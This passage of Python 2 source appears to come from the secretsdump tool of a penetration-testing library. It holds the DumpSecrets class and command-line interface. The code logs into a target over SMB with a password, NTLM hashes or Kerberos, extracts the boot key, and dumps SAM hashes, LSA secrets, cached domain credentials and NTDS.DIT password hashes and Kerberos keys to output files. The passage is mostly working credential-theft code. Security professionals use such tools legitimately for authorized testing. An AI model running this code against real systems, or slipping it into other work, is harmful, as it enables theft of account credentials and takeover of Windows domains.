export(self, fileName): 1787 | if len(self.__hashesFound) > 0: 1788 | items = sorted(self.__hashesFound) 1789 | fd = codecs.open(fileName+'.ntds','w+', encoding='utf-8') 1790 | for item in items: 1791 | try: 1792 | fd.write(self.__hashesFound[item]+'\n') 1793 | except: 1794 | try: 1795 | logging.error("Error writing entry %d, skipping" % item) 1796 | except: 1797 | logging.error("Error writing entry, skipping") 1798 | pass 1799 | fd.close() 1800 | if len(self.__kerberosKeys) > 0: 1801 | fd = codecs.open(fileName+'.ntds.kerberos','w+', encoding='utf-8') 1802 | for itemKey in self.__kerberosKeys.keys(): 1803 | fd.write(itemKey+'\n') 1804 | fd.close() 1805 | 1806 | def finish(self): 1807 | if self.__NTDS is not None: 1808 | self.__ESEDB.close() 1809 | 1810 | 1811 | class DumpSecrets: 1812 | def __init__(self, address, username='', password='', domain='', options=None): 1813 | self.__useVSSMethod = options.use_vss 1814 | self.__remoteAddr = address 1815 | self.__username = username 1816 | self.__password = password 1817 | self.__domain = domain 1818 | self.__lmhash = '' 1819 | self.__nthash = '' 1820 | self.__aesKey = options.aesKey 1821 | self.__smbConnection = None 1822 | self.__remoteOps = None 1823 | self.__SAMHashes = None 1824 | self.__NTDSHashes = None 1825 | self.__LSASecrets = None 1826 | self.__systemHive = options.system 1827 | self.__securityHive = options.security 1828 | self.__samHive = options.sam 1829 | self.__ntdsFile = options.ntds 1830 | self.__history = options.history 1831 | self.__noLMHash = True 1832 | self.__isRemote = True 1833 | self.__outputFileName = options.outputfile 1834 | self.__doKerberos = options.k 1835 | self.__justDC = options.just_dc 1836 | self.__justDCNTLM = options.just_dc_ntlm 1837 | self.__pwdLastSet = options.pwd_last_set 1838 | 1839 | if options.hashes is not None: 1840 | self.__lmhash, self.__nthash = options.hashes.split(':') 1841 | 1842 | def connect(self): 1843 | self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr) 1844 | if self.__doKerberos: 1845 | self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) 1846 | else: 1847 | self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 1848 | 1849 | def getBootKey(self): 1850 | # Local Version whenever we are given the files directly 1851 | bootKey = '' 1852 | tmpKey = '' 1853 | winreg = winregistry.Registry(self.__systemHive, self.__isRemote) 1854 | # We gotta find out the Current Control Set 1855 | currentControlSet = winreg.getValue('\\Select\\Current')[1] 1856 | currentControlSet = "ControlSet%03d" % currentControlSet 1857 | for key in ['JD','Skew1','GBG','Data']: 1858 | logging.debug('Retrieving class info for %s'% key) 1859 | ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) 1860 | digit = ans[:16].decode('utf-16le') 1861 | tmpKey = tmpKey + digit 1862 | 1863 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] 1864 | 1865 | tmpKey = unhexlify(tmpKey) 1866 | 1867 | for i in xrange(len(tmpKey)): 1868 | bootKey += tmpKey[transforms[i]] 1869 | 1870 | logging.info('Target system bootKey: 0x%s' % hexlify(bootKey)) 1871 | 1872 | return bootKey 1873 | 1874 | def checkNoLMHashPolicy(self): 1875 | logging.debug('Checking NoLMHash Policy') 1876 | winreg = winregistry.Registry(self.__systemHive, self.__isRemote) 1877 | # We gotta find out the Current Control Set 1878 | currentControlSet = winreg.getValue('\\Select\\Current')[1] 1879 | currentControlSet = "ControlSet%03d" % currentControlSet 1880 | 1881 | #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] 1882 | noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) 1883 | if noLmHash is not None: 1884 | noLmHash = noLmHash[1] 1885 | else: 1886 | noLmHash = 0 1887 | 1888 | if noLmHash != 1: 1889 | logging.debug('LMHashes are being stored') 1890 | return False 1891 | logging.debug('LMHashes are NOT being stored') 1892 | return True 1893 | 1894 | def dump(self): 1895 | try: 1896 | if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '': 1897 | self.__isRemote = False 1898 | self.__useVSSMethod = True 1899 | bootKey = self.getBootKey() 1900 | if self.__ntdsFile is not None: 1901 | # Let's grab target's configuration about LM Hashes storage 1902 | self.__noLMHash = self.checkNoLMHashPolicy() 1903 | else: 1904 | self.__isRemote = True 1905 | self.connect() 1906 | self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos) 1907 | if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: 1908 | self.__remoteOps.enableRegistry() 1909 | bootKey = self.__remoteOps.getBootKey() 1910 | # Let's check whether target system stores LM Hashes 1911 | self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() 1912 | else: 1913 | bootKey = None 1914 | 1915 | if self.__justDC is False and self.__justDCNTLM is False: 1916 | if self.__isRemote is True: 1917 | SAMFileName = self.__remoteOps.saveSAM() 1918 | else: 1919 | SAMFileName = self.__samHive 1920 | 1921 | self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) 1922 | self.__SAMHashes.dump() 1923 | if self.__outputFileName is not None: 1924 | self.__SAMHashes.export(self.__outputFileName) 1925 | 1926 | if self.__isRemote is True: 1927 | SECURITYFileName = self.__remoteOps.saveSECURITY() 1928 | else: 1929 | SECURITYFileName = self.__securityHive 1930 | 1931 | self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isRemote=self.__isRemote) 1932 | self.__LSASecrets.dumpCachedHashes() 1933 | if self.__outputFileName is not None: 1934 | self.__LSASecrets.exportCached(self.__outputFileName) 1935 | self.__LSASecrets.dumpSecrets() 1936 | if self.__outputFileName is not None: 1937 | self.__LSASecrets.exportSecrets(self.__outputFileName) 1938 | 1939 | if self.__isRemote is True: 1940 | if self.__useVSSMethod: 1941 | NTDSFileName = self.__remoteOps.saveNTDS() 1942 | else: 1943 | NTDSFileName = None 1944 | else: 1945 | NTDSFileName = self.__ntdsFile 1946 | 1947 | self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, 1948 | noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, 1949 | useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet) 1950 | try: 1951 | self.__NTDSHashes.dump() 1952 | except Exception, e: 1953 | logging.error(e) 1954 | if self.__useVSSMethod is False: 1955 | logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') 1956 | else: 1957 | if self.__outputFileName is not None: 1958 | self.__NTDSHashes.export(self.__outputFileName) 1959 | self.cleanup() 1960 | except (Exception, KeyboardInterrupt), e: 1961 | #import traceback 1962 | #print traceback.print_exc() 1963 | logging.error(e) 1964 | try: 1965 | self.cleanup() 1966 | except: 1967 | pass 1968 | 1969 | def cleanup(self): 1970 | logging.info('Cleaning up... ') 1971 | if self.__remoteOps: 1972 | self.__remoteOps.finish() 1973 | if self.__SAMHashes: 1974 | self.__SAMHashes.finish() 1975 | if self.__LSASecrets: 1976 | self.__LSASecrets.finish() 1977 | if self.__NTDSHashes: 1978 | self.__NTDSHashes.finish() 1979 | if self.__isRemote is True: 1980 | self.__smbConnection.logoff() 1981 | 1982 | 1983 | # Process command-line arguments. 1984 | if __name__ == '__main__': 1985 | # Init the example's logger theme 1986 | logger.init() 1987 | # Explicitly changing the stdout encoding format 1988 | if sys.stdout.encoding is None: 1989 | # Output is redirected to a file 1990 | sys.stdout = codecs.getwriter('utf8')(sys.stdout) 1991 | 1992 | print version.BANNER 1993 | 1994 | parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from the remote machine without executing any agent there.") 1995 | 1996 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)') 1997 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 1998 | parser.add_argument('-system', action='store', help='SYSTEM hive to parse') 1999 | parser.add_argument('-security', action='store', help='SECURITY hive to parse') 2000 | parser.add_argument('-sam', action='store', help='SAM hive to parse') 2001 | parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') 2002 | parser.add_argument('-history', action='store_true', help='Dump password history') 2003 | parser.add_argument('-outputfile', action='store', 2004 | help='base output filename. Extensions will be added for sam, secrets, cached and ntds') 2005 | parser.add_argument('-use-vss', action='store_true', default=False, 2006 | help='Use the VSS method insead of default DRSUAPI') 2007 | group = parser.add_argument_group('display options') 2008 | group.add_argument('-just-dc', action='store_true', default=False, 2009 | help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') 2010 | group.add_argument('-just-dc-ntlm', action='store_true', default=False, 2011 | help='Extract only NTDS.DIT data (NTLM hashes only)') 2012 | group.add_argument('-pwd-last-set', action='store_true', default=False, 2013 | help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') 2014 | group = parser.add_argument_group('authentication') 2015 | 2016 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 2017 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 2018 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') 2019 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') 2020 | 2021 | if len(sys.argv)==1: 2022 | parser.print_help() 2023 | sys.exit(1) 2024 | 2025 | options = parser.parse_args() 2026 | 2027 | if options.debug is True: 2028 | logging.getLogger().setLevel(logging.DEBUG) 2029 | else: 2030 | logging.getLogger().setLevel(logging.INFO) 2031 | 2032 | import re 2033 | 2034 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 2035 | options.target).groups('') 2036 | 2037 | if address.upper() == 'LOCAL' and username == '': 2038 | if options.system is None: 2039 | logging.error('SYSTEM hive is always required for local parsing, check help') 2040 | sys.exit(1) 2041 | else: 2042 | 2043 | if domain is None: 2044 | domain = '' 2045 | 2046 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 2047 | from getpass import getpass 2048 | password = getpass("Password:") 2049 | 2050 | if options.aesKey is not None: 2051 | options.k = True 2052 | 2053 | dumper = DumpSecrets(address, username, password, domain, options) 2054 | try: 2055 | dumper.dump() 2056 | except Exception, e: 2057 | logging.error(e) 2058 | --------------------------------------------------------------------------------